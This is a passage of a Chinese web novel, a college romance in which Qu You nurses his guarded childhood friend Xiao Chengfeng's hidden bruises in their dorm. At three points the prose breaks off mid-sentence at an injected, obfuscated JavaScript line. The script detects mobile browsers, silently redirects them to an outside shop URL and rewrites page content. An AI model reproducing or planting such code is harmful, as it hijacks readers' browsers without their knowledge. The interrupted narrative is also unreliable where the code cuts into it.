学长一脸惊喜,双手握在一起对鸡祈祷,“好像有戏!求你了求你了,活过来吧。人民需要你,祖国需要你!毕业,振作起来啊!” 学长意识到什么,有些不好意思地笑着对曲柚解释,“我给它起的名字,就叫''毕业''”。 曲柚点点头,笑道:“很吉利的名字啊。” 两人聊天的时候,吕学义带着饭回来了。 三人把加糖放凉的绿豆水给小鸡灌下去小半碗,隔了不过半小时,鸡就慢慢自己挣扎着翻过身,蹲在了纸箱底。 它的鸡冠子还是有些耷拉,看着没什么精神,但已经没有刚才那股进气少出气多的模样了。 学长试着往箱子里放了点鸡饲料,鸡低头慢慢吃起来。 吕学义惊奇地看着鸡,对曲柚崇拜地说:“我靠柚子你真牛了,半碗加糖绿豆水就给它捞回来了。” 曲柚被夸奖了其实心里很美,但还是谦虚摆摆手,“没有,这就是比较简单的土法子,主要是发现得比较及时,再晚点我也不知道怎么弄了。” 学长低头看了鸡一会儿,再抬头看曲柚的时候,竟然眼眶含泪,对曲柚弯腰鞠了一躬,“谢谢神医!太感谢了!我真的都做好延毕一年的打算了,现在突然不用延毕了,感觉跟白捡了一年似的。” 曲柚惊讶地赶紧把人扶起来,“不用这么客气,学长,我还要谢谢你请我和同学吃了饭呢。再说了,都是一个学校的同学,搭把手帮一下也没什么的。” “能加一下你微信么?万一以后再有什么问题了,可以问你么?”学长掏出手机,期待地看着曲柚。 曲柚没觉得有什么,点点头说可以。 两人加上微信,曲柚才看到这位学长的名字。 “我就叫左杭,微信名就是我本人名字。”学长这会儿感觉跟中了奖似的,捧着手机高兴地咧嘴,圆圆的脸上露出两个深刻的酒窝,“以后有什么需要你就找我!不管是出人还是出力,我都能帮忙!” 确定小鸡没什么问题后,曲柚拎着两份饭和他的斑鸠回了宿舍。 中午了,他还是没看见肖承风。 曲柚掏出手机,想给竹马发个消息问问他,停了几秒又收起手机。 他失落地坐下吃饭。竹马又不喜欢男生,他这么上赶着问人家行踪干什么。 卓正阳早就忘了梦中的点餐行为,本来要出门觅食的,惊喜发现曲柚给他带了喜欢的饭,忍不住大喜。 “哇哦!我最爱的猪排饭!还有香喷喷的狮子头!小柚子,太爱你了!”饿了一上午的他迫不及待地拆开筷子,猛猛刨饭。 “唔唔。”曲柚嘴里含着食物不方便说话,点点头示意收到爱意了,眼睛亮晶晶带笑。 他就不跟卓哥说,某人在梦中点餐随便认爹的事啦。 * 肖承风回宿舍楼的时候,已经是晚上十点多了。 他背着半空的书包,手里攥着手机,慢慢走上楼梯,朝宿舍走去。 他出去了一天,曲柚没有给他发一条消息、没打一个电话。 走廊那头有男生们笑闹的声音。 “你别走啊小柚子!这是我找人加急做的!你必须收下!” 有男生的大嗓门在喊,之后就是一堆起哄般的笑声。 肖承风皱眉,舌头顶了顶口腔破皮的地方,加快步伐。甜腥的味道在他口中淡淡蔓延开,本来他心情就不好,这会儿听见了疑似闹曲柚的声音,心底那股莫名的烦躁怒意更是腾地就蹿了上来。 又有不要脸的男人来骚扰曲柚了。 17. 牙有点痒,想咬东西 017/东山花灯 这种东西不要塞给他好吧! 曲柚看着左航笑着递过来的东西,内心羞耻到尖叫,只想躲远点。 几个男生笑闹着一定要让他接下,曲柚从人堆里钻出来,只顾着往前冲,躲避身后追他的男生,楼廊拐角突然冒出来一道身影。 他来不及反应,努力停下的脚步被惯性带着往前,踉跄着撞入对方怀中。 黑色的棉质衬衫,微涩的汗意夹杂着一股淡淡的味道撞入鼻尖。 像是烟气和莫名的腥甜混杂在一起,曲柚不自觉皱了皱鼻子。 对方站得稳稳地,一只手掌轻松包裹住曲柚的一侧肩,将他半按在怀里,只轻晃了一下。 稳住他的身体后才放开。 撞上了人,曲柚收敛了脸上的笑意,急忙抬头道歉,“不好意思……”在看见他哥绷紧的下颚线和压低的眉目后,声音自动减小、消失。 “哥。”曲柚眨了眨眼,脸上的笑意还没来得及展开,他下意识后退半步,从人身前挪开,“你回来啦。” 虽然肖承风大部分时间都是一副面无表情的淡脸,但曲柚就是能用直觉判断感知到竹马的情绪。 现在,竹马的心情明显不是很美好。 他有很多话想问肖承风。 为什么这么晚才回来,为什么一天都没和他联系一句?哥不在乎他么?感情淡了是不是? 当意识到自己的情感变质的时候,很多理所当然的权利和可以开的玩笑,就被下意识的小心翼翼扣下了。 于是沉默和距离开始产生。 肖承风瞥了一眼他和曲柚之间突然拉出的空间,面上不显,扫视了一下曲柚身后追来的男生们,目光落回曲柚因跑动而微微泛红的面颊上,“怎么了。” 男生发丝微微凌乱,发尾还带着水汽,单肩背着个黑色的背包,耳朵上塞了一对白色无线耳机,肩宽腿长。 挺拔的身姿站在曲柚身前,将只穿了个老头背心大裤衩在宿舍走廊乱跑的少年衬得格外纤细。 有种他轻易将身前的少年笼罩在身前的感觉。 本来一群人都在开玩笑闹着玩,结果突然来了个冷脸帅哥,还一副护犊子的口吻。 原本笑着追在曲柚身后起哄的几个男生也不约而同停下脚步,慢慢走过来。 吕学义用眼神向曲柚疯狂求救。 他只是想看同学收搞笑锦旗的热闹,不想被人家哥看起来这么正经的人撞见了。 左学长拿过来的锦旗上那几个大字还是他出谋划策想的,现在就是,很心虚。 哥们儿,你快说点什么啊。 “额,你是柚子的哥啊,兄弟,我们闹着玩呢。”似乎感受到了肖承风的不喜,左航举了举手里卷着的一根锦旗,“我是来感谢曲柚的,要不是他帮忙,我的毕业作业可能就没了。” 没欺负你弟啊,别板着脸吓我们。 校舍走廊的白炽灯打下一束惨白的光,在男生立体优越的眉骨下打下一片明显的阴影。 他深黑的眼睛掩在暗影中,看似平静的眸子闪着一点光亮,看不出具体情绪。 只有曲柚看出来了。 那是隐藏得极好的攻击欲。 曲柚的目光在肖承风面上逡巡,扫过耳垂下一抹窄窄的深红色斑块,他呼吸一紧。 他下意识抓住竹马的手腕,掌心贴合着对方温热的皮肤,轻微晃了晃,“哥,学长要送我一面锦旗,我刚才没好意思拿。” 肖承风的目光又落回曲柚脸上,眼睫低垂,视线极快扫过曲柚全身,确定他身上没有受伤的痕迹,依旧淡淡道,“这样啊,好。” 身上那股蛰伏的攻击欲却并没有散开多少。 左航和其他几个兄弟莫名觉得有点尴尬,他们知道曲柚和金融院的冰山住在一起,但亲自面对冰山又是另一回事了。 不知道怎么回事,明明是同龄人,但在肖承风面前,他们好像被压制了一头一样,说话都不敢大声。 呼吸之间,曲柚快速走到左航面前,伸出一只手,“谢谢学长,我现在做好收下的心理准备了。” 他浅笑着,心里却有点着急,想让这几个人赶紧该散开散开。 “好、好的。再次感谢你,神医圣手啊。”左航咧开嘴笑笑,把抓在手里的锦旗递过去。 但曲柚看他这会儿的笑容,总觉得有那么一丝尴尬在里面,好像他的快乐被打了折扣。 原本抓在手里的旗面瞬间展开,曲柚来不及搂住,鲜黄的大字就衬在红布上水灵灵地展露出来。 ——人美心善、救鸡圣手,今有柚神、续我狗命! “……” 料想中的欢声笑语没有出现,只有一片因为肖承风的存在而蔓延的沉默。 “哈!哈!哈!救鸡!……”在沉默中,一道爽朗大笑的声音尤为突兀。 声音的主人显然反应过来没人跟他一起开怀,声音又弱了下去,顽强念完了那锦旗上的赞美,“……圣手。” 全场人都盯着那个哈哈笑的傻子。 傻子不堪承受他人目光的重量,低下头专心找地缝。 “好了柚子,以后有什么事随时找我啊。”左航迅速握住曲柚想去抓锦旗边的一只手,火速道晚安离开。 走廊上几个人静悄悄的,围观了这一场锦旗赠与仪式,以沉默和乱飞的眼神做结束,然后迅速各回各屋,逃离现场。 剩下两个人没处跑。 一个是心死如灰地闭眼,平静将锦旗折叠起来,把字藏好的曲柚。 可恶,这种丢脸的字眼,还是被竹马看到了。 还剩下一个傻子。 肖承风凉凉地看向站在原地,无措地看着走远的同伴们的背影,上看下看,终于和自己对视了一眼,然后开始摸后脑勺尬笑的卓正阳。 肖承风摘下肩膀上的背包,慢步走过来,声音淡淡。 “你凑什么热闹,跟着他们一起追曲柚?” 卓正阳好像才看到哥们儿回来一样,往后退了几步,顾左右而言他,“哎呀肖神你回来啦?你不知道,你不在这一天,小柚子可帮人解决了个棘手的大问题!” “他一出手,就把人家的鸡给治好了!从蔫得要死的鸡变成生机勃勃的鸡了!”他竖起大拇指给曲柚的方向比比,目光和笑容却对着肖承风,透出一股鸡贼的谄媚。 曲柚心里装着别的事,也不等卓正阳继续对着他哥拍他马腿了,拉着肖承风的手腕就往宿舍走。 “好了哥,回去洗漱睡觉了。”他声音带着点倦懒的尾音,像在撒娇的猫一样,揣着手随时准备赏人一记猫猫拳,“一天见不到你人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189052|197040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 影,回来就一身臭汗。” “你们先休息啊,我还有点事,待会儿回去。”卓正阳松了口气,在他们身后摆摆手,转身往楼梯处走。 他要先离开这个是非地,等耗子回来了他再一起回屋吧。 出去喂会儿蚊子也许是个好主意,呜呜。 肖承风垂眸看着握在自己手腕的指节,纤细的手指于关节处透着淡淡的粉,温暖从曲柚的掌心和指尖传来,印入他的血肉。 身体有些疲惫,沸腾了很久的血液,隐隐有真正被安抚下来的趋势。他一步步跟着曲柚走,燥乱的心跳似乎也随着规律的脚步,趋于平稳。 不懂。但之前心底腾起的烦躁,好像浅淡了很多。 肖承风睫毛微颤,再次抬眼看向曲柚的背影。 男生的脖子很细,很白,他一只手就能拢住大半。 细软的发丝被他盘成一个松松的小丸子团在脑后,青色的血管埋藏在薄嫩的皮肤下,蜿蜒而下,隐入皮肉。 老头背心松松垮垮的,蝴蝶骨随着他走动的姿势而微微翼动。肖承风甚至能从他的身后侧看到背心下偶尔一闪而过的嫩尖。 是粉色的。 下身穿的也是个松松垮垮的大裤衩,裤边只到膝盖上方,从后面看,他的膝窝陷出一个看起来很细腻的弧度,小腿笔直修长。 有种很脆弱、又很……什么的感觉呢? 握着背包肩带的指腹摩挲过布料粗粝的纹路,肖承风心底划过无数他所知道的形容词,却找不出任何一个来放到现在用。 他熟悉曲柚身上的每一处,他看待曲柚就像看待自己的左右手,只要确认对方是安全的,他只会越看越觉得平静。 应该这样才对的。 肖承风黑沉的凤眸安安静静,如同无机质的吸光仪一样,将任何他看到的细节和颜色纳入眸底。 所以,他就是穿成这样子,和一群男生在追跑打闹,嬉笑成团? 肖承风慢慢舔过自己不知道什么时候微微张开的齿关。 不知道为什么,牙有点痒。 想咬东西。 在烦躁之意再次涌上来前,他被曲柚拉回宿舍,反手关上门。 “你受伤了?怎么回事?” 少年紧张的脸就在眼前,他摸索着自己的耳垂,一手搭在自己肩膀上,整个人好像要挤进自己怀里。 肖承风抬眸扫了一眼齐昊的床位,床帘拉开,没人。 床帘已经拉上。 宿舍里现在只有他们两个。他被曲柚压/在宿舍门板上。 肖承风抬手扶了一下男生的腰,让人稳住。 “没受伤。”声音低沉磁性,依旧淡定。 曲柚这会儿来不及在意腰上的手,“胡说,那这是什么?”细白的指尖凑到肖承风眼底,曲柚举着手瞪他。 指尖上分散着细碎的深红色的薄薄粉屑,碎片大一点的呈现出红得近乎发黑的颜色。赫然是血液干涸后的状态。 少年人明媚的桃花眼里,此时如同点燃了怒火一般,藏不住的着急和愤怒,将他的眸子衬得熠熠生辉。 “你出去跟人打架了?他又找混混来堵你?” 肖承风看着对方眼里,那个小小的自己,仿佛自己就是他视线和全部注意的最中心。 他突然说不出话。 18. 脱衣服。给我检查 018/东山花灯 肖承风单手将背包扔在地上,就着靠在门上的姿势,抬手捏住脸前那根指头,将指尖的血色粉末擦干净。 “兼职的地方有客人喝醉了,不小心沾到的吧。”虽然是被困住的一方,男生却显得很放松,他抬起一只手揉了把曲柚的发丝,哄小孩似的,“不是我的伤,我没事。” 曲柚将信将疑,他把手里的锦旗扔到门边的矮柜上,手指抓到男生衣摆的边缘,想撩起竹马的衣服看看,又有些犹豫。 眼神向下扫过,起码肖承风露出来的胳膊上,是没有明显淤伤的。只有些许淡淡的白色痕迹,不仔细看甚至不会注意到。 那是曾经陈旧的伤口愈合后留下的疤痕,每一道都让曲柚如鲠在喉。 他没看到肖承风随着他手捏上衣角的眼神,有一瞬凝固,看到他没有后续动作后,又放松下来。 说起来,曲柚其实没怎么见到过肖承风和人打架。他只是从小经常看到身上带伤的竹马。 所以才条件反射似的问竹马,是不是又打架了。 男生一年四季都是长袖长裤套在身上,空荡荡的校服裹着他青春期极速生长的身体,偏偏一张脸俊得让人挪不开眼。 又冷又帅,距离感极强,礼貌归礼貌,但也从不和任何人深交。 本该在班级里不合群的人,硬生生被他常年霸榜的成绩和俊美的皮相,被同龄学生们奉为班草。 自从有一次曲柚无意间看到肖承风身上的伤后,每次曲柚找他补习作业他都会突袭肖承风,扒开他的衣袖检查。十次有六七次能看到青一片紫一片的淤痕。 小学的时候,每次曲柚看到哥哥胳膊上的伤痕就会哭,他把书包里爸妈塞进来的酸奶和小面包一类的零食硬塞给肖承风。 肖承风不要他就泪汪汪地看着他,捧着吃的跟他到处走,一边走一边掉泪,直到男生不再抗拒塞进他怀里的食物。 毕竟是打小认识的竹马,肖承风的家庭状况曲柚也差不多知道。 贫困的家庭,赌棍酒鬼混搭的爹妈,早早独立自强勤工俭学赚钱养家的娃。 少年人的自尊太强,也不接受别人的捐助。既然肖承风不提,曲柚也不想在竹马面前揭他伤疤。 曲柚垂眼沉默片刻,终于松开被他攥皱的衣摆。 没事,没事。 身上带伤是没事,高中体检单子被他发现有胃病是没事,动不动被他赌棍爹叫混混来堵他要钱也是没事。 直到高一结束那年,肖承风那个赌棍爹因为混迹地下赌场,被警察抓典型清赌窝的时候一起抓走,曲柚才觉得世界都清净了不少。 曲柚不知道是不是那个没人性的老赌棍被放出来危害社会了,肖承风也不和他说——每次曲柚问他点正经事,肖承风就一副“一切尽在掌握”中的样子,云淡风轻,好像不论发生什么事都能摆平。 肖承风总是喜欢对他说“没事”,这两个字一出,仿佛他所有不为人知独自扛过的苦难,都是轻飘飘的往事如烟,不值一提。 “好吧,没事就好。”曲柚看似接受了肖承风的解释,目光扫过竹马什么情绪都看不出的脸,转身进洗手间关上门。 肖承风的一只手垂落在身边,掌心是男生身上残留的温度,指尖动了动,什么都没碰到。 他动了动唇,从胸口挤压出最近积攒的自己都不知道怎么描述的情绪,无声呵出一口气,弯腰捡起地上的背包,放到自己床铺下的座椅上。 又从矮柜上拿起那张搞怪的锦旗,仔细铺平卷起,一圈一圈,用黄色绑带束好,放到曲柚的桌角。 身后一声响动,肖承风回头只看到了曲柚带上宿舍门的背影。还是那一身不羁的老头背心加空荡荡的大裤衩。 宿舍又安静下来。 曲柚好像生气了。 肖承风沉默片刻,他是理不清心里乱成一团的情绪了。不过他应对这种情况也有自己的一套办法,既然理不清,那就不理了,压进心底就好。 他照常去洗漱完毕,给自己套了件短袖,躺进床铺里,身体笔直,双手交握放在腹部,闭眼睡觉。 宿舍关了大灯,肖承风只留了一盏桌面上的台灯,按理说这点光亮甚至连遮光床帘都照不透,但他却总觉得光线晃眼,睡不踏实。 脑子里乱哄哄的,眼前的场景在不断切换,一会儿是拳场上猩红的射灯,震耳欲聋的音乐和人的吼叫嘈杂交织成一片;一会儿是一个高大的黑色身影,攥着什么坚硬的东西,高扬起手臂朝他砸下来,伴随着含混的谩骂;一会儿是他骑在墙头,看面目不清几个小混混敲着手里的棍子叫他下来还钱。 半梦半醒间,肖承风冷漠地看着眼前如同鬼影般变幻的场景,如同置身事外的第三者,丝毫没有情绪波动。 下一秒,他看见了曲柚。 少年光着上身,被他的视角压/在深蓝色丝绒毯子里,皮肤白得要反光,粉色的颗粒缀在胸口,不知道因为什么微微凸/起。精致浓丽的脸面对着他。他挣扎着,像一条被按在案板上的小白鱼,但那点力气丝毫不能撼动自己按着他的手腕。 那双记忆中波光粼粼的桃花眼里是浓浓的戏谑和厌恶,他的红唇好像沾染着血,一开一合,红色软舌在齿关后隐现。 “哥,你真恶心。” 他呼吸一滞,猛地睁眼!昏暗中看到个身影压在自己头上,肖承风条件反射般一手卡着人的脖子反手把他按到在床上。 “哎哎哎!是我!哥!”吃痛的声音从手下传来,肖承风这才眨了眨眼,眼睛适应了昏暗的光线。 确认了被压着的人是谁,他烫手一般松开了曲柚的脖子,叹了口气,把人扶着拉起来,靠坐在床头。 “不是说过,我睡觉的时候别不出声靠近我。”他打开床帘内的小夜灯,就着灯光凑近看男生细白的脖子,“脖子疼么?我刚才没控制住力道。” 曲柚眼眶里还转着生理性泪水,捂着脖子干咳两声,“我以为真要被你掐死了。”那种瞬间窒息的感觉让他肾上腺素狂飙,现在头皮还在发麻。 肖承风挪了挪,并排坐到床头,把他半拉怀里拍拍他的背给他顺气,“抱歉。”他并没有问曲柚大晚上不睡觉,跑自己床上来干什么。 只要曲柚愿意,他把床铺让给曲柚睡都行。 男寝宿舍的床铺并不宽,再加上围在周围的床帘,这方封闭的小天地里,两个男生挤在一张床上,就显得空间格外……拥挤。 身边这个人的存在感异常强烈,曲柚能闻到竹马身上柑橘味的洗发水味,和某种类似草木一般的肉/体味道。他称之为肖承风的费洛蒙味。 这会儿的竹马突然显得温情很多,他慢慢抚拍的着自己的背,又给自己揉脖子,虽然依旧没什么表情,但眼神很在意的样子。 他们好像又回到了曾经,没有他以为的那层隐形距离。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189053|197040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曲柚顺了顺气,自觉理亏。自己因为不敢表明的暗恋,连正常关心兄弟都做不到了,其实就算曲柚对竹马没有过线的心思,他关心兄弟的身体健康也是理所应当的。 没必要扭扭捏捏。 他刚才越想越气,觉得肖承风什么都不和他说,跑出去买了管舒筋活血的跌打损伤药膏,想了想又买了碘伏消毒液,以防万一。 他要回来亲自检查肖承风的身体。 他对竹马晃晃落在枕边的跌打损伤膏,少年人的下巴微微抬起来冲肖承风一点,“脱/衣服。给我检查。” 他的眼神太过坦荡,又不容拒绝。 肖承风保持淡定,“我真没事。很晚了,睡觉吧?” 曲柚弯唇一笑,清纯得像朵小太阳花,“今天不扒了你衣服我是睡不着的。”他干脆直接上手,“都是男的,你怕什么。” 肖承风反射性压住衣角,“我没怕。” 曲柚眯眼,不让扒衣服,肯定有情况。他抬手拍了他哥的小臂一下,“抬手。”然后不由分说拽着人的衣服下摆,从下往上脱。 肖承风劝不动,就随着曲柚的力道,沉默地任由男生将他的T恤褪下。 侧面坐着不得劲,曲柚干脆将堆在腿上的被单推到床尾,跪坐在他哥身前,将人的黑衬衫从头拽下来。 至于他哥的短裤,曲柚瞥了一眼,立刻挪开眼,耳根有点热。 嗯,那一大坨还很精神地撑起一个鼓包,怪不得他哥刚才用被单盖着腰以下。 衬衫一拽下来,曲柚的眼神刚落在竹马的上身,视线立刻就直了。他的目光黏在男身胸腹和腰侧的大团紫红痕迹上,呼吸急促起来,气愤中腔调甚至带了点颤抖,“这就是你说的没事?我要不看你就这么睡是么?” 肖承风垂眼,嘴唇动了动,最终没吭声。他觉得他再说没事,曲柚可能会哭出来。 小夜灯的光为了护眼,是昏黄的,这样看过去,肖承风身上的伤有种艳丽灼人的大朵芍药,开在他身上的错觉。 曲柚抬手,指尖小心翼翼落在那灼眼的瘀痕边缘,看得鼻子泛酸。 一处、两处、三处……视线下落,竹马的腿上也有两处,横亘在结实的大腿侧面,像被人狠踢上去的。 曲柚没再追问他这伤是哪儿来的,又疼不疼,他沉默地拧开药膏,挤出一坨在手心,双手按住搓热后按在他哥胸口的一片紫红上。 他哥不愿意说就算了。 至于疼不疼,这玩意儿放哪个正常人身上不会疼的? 曲柚只是生气,身上伤成这样,一回来还要给他找场子,怕别人欺负他?还跃跃欲试准备揍人? 肖承风始终垂着眼,眉骨落下一小片阴影,看不清他眼底的神色。 看起来像做错事后,老实认罚的小孩,很乖。 “咔嚓”,宿舍门打开,一道刻意压低的声音从门口传来。 “你做贼啊?”这是齐昊。 “嘘,小点声,耗子,他俩估计都睡了。”这是卓正阳。 曲柚一僵,在脑子反应过来前,一只手已经一把关掉了床帘内小夜灯的开关。 狭窄的床上空间里,大部分光源立刻被遮光床帘挡在外面,里面一下暗了下来。 曲柚一手还按在肖承风的胸口,小臂上的汗毛被竹马的鼻息吹得微微发痒。 曲柚:“……” 肖承风:“……?” 19. 黑灯瞎火给兄弟抹药膏 019/东山花灯 他为什么要关灯? 曲柚在黑暗中绝望沉思,原本很正常的给室友擦药的情节,似乎一下就变得不能见人起来。 直男是不会因为给兄弟擦药就心虚躲着其他室友的吧? 但现在再打开小灯更奇怪,室友一下就能看到肖承风的床帘上映出两个凑在一起的人影,到时候更不好解释。 两个室友还在低声说话。 “我靠,出去站了一会儿给我咬这老些包,蚊子能不能给我颁个输血证啊。你看我这两条腿。”卓正阳挠了挠腿上鼓起来的大包,欲哭无泪,“失策了,没带驱蚊水。” “所以我就不懂你为什么大晚上跑出去喂蚊子。”齐昊慢条斯理地脱下衣服扔到床边的脏衣篓里,解下项链放到桌上的固定位置,换上拖鞋走去卫生间,哼笑一声,“别说什么为了等我,你看我信么?” “真是为了你啊,你没看肖神刚回来的时候,看见我跟着起柚子的哄,眼神都能给我锤烂。没有你我不敢回来啊。”卓正阳又挠了挠胳膊上的蚊子包,催他快洗,“你赶紧的,洗完换我,快痒死了。” “着急你就进来和我一起洗,我不介意。”齐昊轻飘飘撂下一句话,剩下着卓正阳站在原地对室友刚才飘来的故意恶心他的眼神打了个哆嗦,“靠”了一句,撸了一把胳膊上起来的鸡皮疙瘩,还就来劲了,小声义正言辞。 “身正不怕影子斜,我有什么不敢的。”说罢拽下短裤,身上留了条裤衩,也跟着走进卫生间,关门。 没过几秒被人推出去,齐昊恼羞成怒,压低声音,“你有病啊,滚出去!”卫生间的门从里面嘎哒落锁。 “嘿嘿。”和室友贩了个剑的卓正阳挨骂后舒坦了,他晃见肖承风床铺上和黑色棺材板同色的床帘,反射性闭嘴,回到自己床下,小心拉开椅子,尽量不发出响动,老实坐在椅子上刷手机,等齐昊洗完出来。 曲柚和肖承风就保持着他们关灯的姿势等了一会儿,脑子反应了一会儿,曲柚收回按在他哥胸口的手掌——他甚至能感觉到皮肉下那颗器官有节奏的跳动。 现在好了,曲柚咬了咬嘴唇,弄成偷x现场了。外面还有个人清醒的大活人,他也不敢乱动,生怕床铺发出什么声音。 怎么收场? 还好现在黑了灯了,曲柚表面还算镇定,但心里已经走了有一会儿了。 现在退缩的话,反而显得自己心里有鬼吧? 咬咬牙,不就是黑灯瞎火给兄弟抹药膏么,他可以的。 曲柚小心翼翼伸手按住对面的人,大概确定方位后,摸索着捞起药膏又挤进手里一坨,在手掌揉开后,按着记忆力的方位往竹马身上按。 他好像听见黑暗中冒出来一声轻微的鼻哼,像是带着点笑意,又像是竹马被碰到淤痕的痛声,曲柚不确定。 黑暗中再次冒出光亮来。 肖承风举着手机,灯光那头冲着靠墙那面,空间里再次有了点能见度,又不至于晃到曲柚的眼。 肖承风对他歪了歪头,漆黑的眼默默问他在干嘛。 曲柚发现他正对着肖承风的眼,刚才在黑暗里怕自己够不到,他还主动往前挪了挪。这会儿两人的鼻尖就差两根指头的距离就能挨到,呼吸纠缠。 竹马的嘴唇,他只要微微抬下巴,就能正好堵住。 曲柚也不知道自己脑子发什么愣,他控制不住地垂眼,鸦羽般的睫毛颤了颤,视线黏在对方微抿起来,显得有些不近人情的薄唇上。 他艰难地扯开自己的视线。 跪坐着的男生无声动了动唇,伸出一根手指放在唇边,对竹马比出“嘘”的手势。 肖承风没吭声,也没有任何动作,盯了一眼曲柚压在淡粉色唇上的手指,轻淡地扭头看向一边。任由曲柚瞎玩。 手机灯的单束光源,在肖承风俊朗的脸上勾勒出清晰的光影分割线。 男生明明是不好靠近的冷淡面相,但此刻偏头微垂,发丝滑落鼻梁,大概也和无法解释自己这身伤有关,倒是有种任他胡作非为的温顺感。 事已至此,曲柚只好继续给他哥擦药。手掌下的皮肤呈现出紫红的颜色,借着些微的光他甚至可以看到淤伤和正常皮肤的交界处,有一小片细密的出血点组成的带状边缘。指腹贴上红肿上,甚至可以感觉到那片区域高于正常皮肤的温度。 那是受伤皮肤组织充血的证明。 曲柚呼吸一滞,瞬间熄灭了任何旖旎的心思。 他看着都觉得皮紧发疼,这人就带着这身伤没事人似的和他说没事。 身上的淤血要想快点好,就得尽快揉开。不疼是不可能的,肖承风却一声没坑,只是肌肉微微绷紧,腹部收紧。 曲柚越看越气,他凑到他哥耳边,对肖承风咬耳朵,恶狠狠的用气音说,“下次再带伤骗我,我就!” 他们之间的距离早已超过正常社交范围,男生几乎要跪进自己的怀里,他已经可以闻到曲柚身上的味道了。 但曲柚从小就和自己没保持过什么正常距离,所以这也是很正常的。 肖承风动了动按在枕头上的手指,没吭声,保持这个姿势听训。 曲柚顿了顿,半天没想好怎么放接下来的狠话,看着就在眼前,埋进黑发里的半只耳朵,一怒之下张嘴咬了一口。 “唔!” 曲柚惊诧地发现,肖承风不仅没防备似的抖了一下,甚至闷哼出声了。 他来不及反应是不是自己下嘴太狠了,第一时间捂住肖承风的嘴,扭头盯着外侧床帘。 外头可还坐着没睡觉的卓正阳呢! 卓正阳也被突如其来的声音吓得一哆嗦,他僵在原地,连滑手机屏的指头都不敢动了。过了几秒没有后续动静,他才小声道:“肖神,做噩梦啦?” 没有声音搭理他。 卫生间的门开了,齐昊洗漱完走出来,看他伸个脖子一脸惊恐地看着肖承风的床位,伸手拍他后脑勺一下,“半夜盯着人家床铺干嘛,你也想爬床么?去洗漱。” “我还不想被揍进医院。”卓正阳叹出口气,“吓我一跳,我刚才好像突然听见肖神的声音了,说梦话似的。” 他站起来伸了伸腰,往正冒热气的卫生间走去,“得了,也别洗澡了,我刷个牙就睡。” 肖承风被突然糊嘴的红花油味熏了个够呛,差点再打喷嚏,他赶紧握着曲柚的手腕拉下来,撑着床从男生身边挪开,弯腰长臂一捞将被单拽回手里,躺下来给自己盖住。 期间床铺果然随着动作吱呀了几声,夜深人静的时候尤为清晰,曲柚只觉得整个宿舍都充满了这张床吱呀的声音,头皮发麻。 曲柚扭头看到已经躺下摆好睡觉姿势的竹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189054|197040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 马,“?”肖承风没再扭头看他,直接抬手给他比了个手势,让他回自己床铺睡觉去。 曲柚看看自己的手,刚才不是还好好的让他涂药么?是刚才自己情急之下捂竹马的嘴让他生气了? 不管怎么样,现在他是不敢回去自己床铺的。 而且他刚才只涂了上半身,腿上的伤还没给肖承风涂呢。 曲柚拿起药膏再挤出一坨,往肖承风的腿上盖,却摸到了竹马非常紧绷的大腿肌肉。 绷那么紧做什么?曲柚食指点点竹马的大腿,示意他放松,被忍无可忍的肖承风抓住手腕,扭头警告。 “要么回去睡,要么躺下睡。”男生的口型这样对曲柚说。他半张脸埋在阴影里,眼睛深深,眼尾的泪痣在昏暗中带着危险的气息。 曲柚眨眨眼,表情非常纯良,比了个OK的手势。他老实就地躺下。 开玩笑,回去是不可能回去的。 他在他哥面前的人设就是直男小兄弟。他已经快琢磨明白直男人设的要点了,越是没有边界感就越像直男。 今天晚上的老头背心加短裤就是他精心挑选的直男大学牲必备套装,卓正阳他们晚上和他打闹的时候,完全没有以前那种护着小孩的拘束感。 这说明他的方向是对的! 时隔多半年,他又躺在他哥身边了,带着完全不同曾经的心境。大学床铺上要挤下两个男大还是有点紧张,曲柚闭眼,尽量把下半身离他哥远点,万一戳着他哥就不礼貌了。 说不定以后就是抱一回少一回、见一面少一面的关系了,曲柚很珍惜这种和竹马亲密相处的机会,他甚至有点感谢自己刚才急中生智拉灯了。 不愧是他。 关掉手机灯后,肖承风背对着曲柚,给他扯出一半被单让他盖。 曲柚闻着鼻尖淡淡的药膏味和他哥身上温和的柑橘味,有点昏昏欲睡。 手心的药膏还没完全抹开,剩下一片黏腻腻的,曲柚想,也别浪费,都给他哥涂上吧。 把两只手心的药膏集合到一只手上,他按照记忆中的位置,抬手摸索着按在了肖承风腿上刚才带药膏的地方。 肖承风一僵,就感觉那只温热细嫩的手在努力地搓他的腿,一下下的,努力想搓开那片淤伤。 药膏接触皮肤化开,伤处又疼又热,指腹摩擦过肌肤的时候,带来一丝若有若无的痒意。 肖承风想躲开。 